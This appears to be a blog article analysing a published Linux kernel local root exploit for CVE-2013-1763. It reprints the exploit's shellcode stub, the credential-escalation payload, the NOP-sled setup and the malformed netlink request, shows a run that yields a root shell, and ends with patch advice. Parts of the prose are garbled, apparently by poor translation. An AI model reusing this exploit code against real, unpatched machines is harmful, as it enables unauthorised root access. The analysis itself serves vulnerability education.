CVE-2013-1763 sock_diag_handlers Local Root Exploit Analysis

In this article we will analyze the exploit released by Kacper Szczesniak for CVE -2013-1763. In simple terms this exploit takes advantage of a vulnerability at kernel-level of the array sock_diag_handlers, and allows a local user to gain privileges of “root” on the system. Before starting the analysis, however, the underlying concept should be clarified: in Linux systems, the user and kernel memory are implemented in different and independent address spaces, also these address spaces are virtualized and then mapped into physical memory using the page tables. In particular, if we assume to have a 32-bit Linux system, we will have 4GB of addresses available, of these 3GB are made ​​available to the user memory and 1GB is left for the memory kernel, then the user will be assigned memory addresses ranging 0x00000000 to 0xBFFFFFFF, while the kernel memory addresses ranges from 0xC0000000 through 0xFFFFFFFF.

Full exploit’s source code is available here. First of all we analyze the following lines of code:

int __attribute__((regparm(3))) x() {
	commit_creds(prepare_kernel_cred(0));
	return -1;
}

char stage1[] = "\xff\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

commit_creds = (_commit_creds) 0xffffffff8107d180;
prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff8107d410;

*(unsigned long *)&stage1[sizeof(stage1)-sizeof(&x)] = (unsigned long)x;
memset((void *)mmap_start, 0x90, mmap_size);
memcpy((void *)mmap_start+mmap_size-sizeof(stage1), stage1, sizeof(stage1));

The kernel functions take the arguments from registers.

The array contains stage1 asm instructions that are easy to decode:

$ gcc -c exp.c
$ objdump -D exp.o

Disassembly of the section. Date:
0000000000000000 <stage1>:
0: ff 25 00 00 00 00 jmpq *0x0(%rip) # 6 <stage1+0x6>

As we can see that the array contains a jmpq statement (this is equivalent JMP QWORD PTR in the x86 architecture) to the register pointer instruction %rip. In the x86-64 architecture, the address of commit_creds and prepare_kernel_cred are loaded relative to RIP. What we really want is a root shell. Kernel can not just call system (“/bin/sh”). But it can easily give root privileges to the current process:

commit_creds(prepare_kernel_cred(0));

With the following code:

*(unsigned long *)&stage1[sizeof(stage1)-sizeof(&x)] = (unsigned long)x;
memset((void *)mmap_start, 0x90, mmap_size);
memcpy((void *)mmap_start+mmap_size-sizeof(stage1), stage1, sizeof(stage1));

policed ​​injected the instructions contained in the array stage1, this is used to create a NOP sled (an array of NOP (size 0x10000)) so as to slide RIP until it reaches our instructions.

Let’s now analyze the heart of the exploit:

struct {
	struct nlmsghdr nlh;
	struct unix_diag_req r;
} req;

char buf[8192];

if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
	printf("Can't create sock diag socket\n");
	return -1;
}

memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_seq = 123456;

req.r.udiag_states = -1;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;

/* Ubuntu 12.10 x86_64 */
req.r.sdiag_family = 0x37;

We start with fd = socket (AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG), the Netlink socket is used to transfer information between processes and the kernel’s space.
An application for each netlink message it conveys must provide the following header:

struct nlmsghdr {
	__u32 nlmsg_len; /* Length of message including header. */
	__u16 nlmsg_type; /* Type of message content. */
	__u16 nlmsg_flags; /* Additional flags. */
	__u32 nlmsg_seq; /* Sequence number. */
	__u32 nlmsg_pid; /* PID of the sending process. */
};

We’re very interested in the content of the message type or nlmsg_type, which in this case is set with the value SOCK_DIAG_BY_FAMILY.
The structure unix_diag_req however, is declared inside sock_diag.h, while in the file net/core/sock_diag.c you can find all the important features, but let’s focus on the following code:

static const struct sock_diag_handler *sock_diag_handlers[AF_MAX];

static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh) {
	int err;
	struct sock_diag_req *req = nlmsg_data(nlh);
	const struct sock_diag_handler *hndl;

	if (nlmsg_len(nlh) < sizeof(*req))
		return -EINVAL;

	/* check for "req->sdiag_family >= AF_MAX" goes here */
	hndl = sock_diag_lock_handler[req->sdiag_family];

	if (hndl == NULL)
		err = -ENOENT;
	else
		err = hndl->dump(skb, nlh);

	sock_diag_unlock_handler(hndl);
	return err;
}

The function sock_diag_lock_handler(), returns the family number received in the NetLink request.
We note that the array sock_diag_handlers, is AF_MAX size and the current code has no validation check, this means that you can send a request message netlink SOCK_DIAG_BY_FAMILY with a family greater than or equal to AF_MAX.
Since AF_MAX is 40, we can effectively return from memory after the end of sock_diag_handlers (“out-of-bounds access”) if we specify a family greater or equal to 40.
So we can investigate further the function sock_diag_register() that accesses the array sock_diag_handler and analyze it at the kernel level.

$ sudo cat /proc/kallsyms | grep sock_diag_register
ffffffff81584ae0 T sock_diag_register

Now we can start gdb:

sudo gdb -c /proc/kcore

(gdb) x/23i 0xffffffff81584ae0

0xffffffff81584ae0: push %rbp
0xffffffff81584ae1: mov %rsp,%rbp
0xffffffff81584ae4: sub $0x10,%rsp
0xffffffff81584ae8: mov %rbx,-0x10(%rbp)
0xffffffff81584aec: mov %r12,-0x8(%rbp)
0xffffffff81584af0: data32 data32 data32 xchg %ax,%ax
0xffffffff81584af5: cmpb $0x27,(%rdi)
0xffffffff81584af8: mov $0xffffffea,%ebx
0xffffffff81584afd: mov %rdi,%r12
0xffffffff81584b00: ja 0xffffffff81584b2c
0xffffffff81584b02: mov $0xffffffff81ca9fa0,%rdi
0xffffffff81584b09: mov $0xf0,%bl
0xffffffff81584b0b: callq 0xffffffff8167f410
0xffffffff81584b10: movzbl (%r12),%eax
0xffffffff81584b15: cmpq $0x0,-0x7e0d6f20(,%rax,8)
0xffffffff81584b1e: je 0xffffffff81584b40
0xffffffff81584b20: mov $0xffffffff81ca9fa0,%rdi
0xffffffff81584b27: callq 0xffffffff8167f3b0
0xffffffff81584b2c: mov %ebx,%eax
0xffffffff81584b2e: mov -0x8(%rbp),%r12
0xffffffff81584b32: mov -0x10(%rbp),%rbx
0xffffffff81584b36: leaveq
0xffffffff81584b37: retq

Note that the line:

0xffffffff81584af5: CMPB $ 0x27, (% rdi)

Makes the statement if (HNDL-> family> = AF_MAX).
While the line:

0xffffffff81584b15: cmpq $ 0x0,-0x7e0d6f20 (,% rax, 8)

Checks if (sock_diag_handlers [HNDL-> family]).
Finally we can see the exploit at work:

$gcc -o exp exp.c 
$./exp
# id
uid = 0 (root) gid = 0 (root) groups = 0 (root)

…And we have full control on the machine.

How do we solve the issue?
To fix the leak, you need to update the system, namely the following package: “linux-ti-OMAP4” 3.5.0-220.29 (for more information https://launchpad.net/ubuntu/+source/linux-ti-omap4/3.5.0-220.29), making sure at the new version number of the kernel packages, due to change ABI (Application Binary Interface).

Trackbacks

  1. […] CVE-2013-1763 sock_diag_handlers Local Root Exploit Analysis […]

  2. […] CVE-2013-1763 sock_diag_handlers Local Root Exploit Analysis […]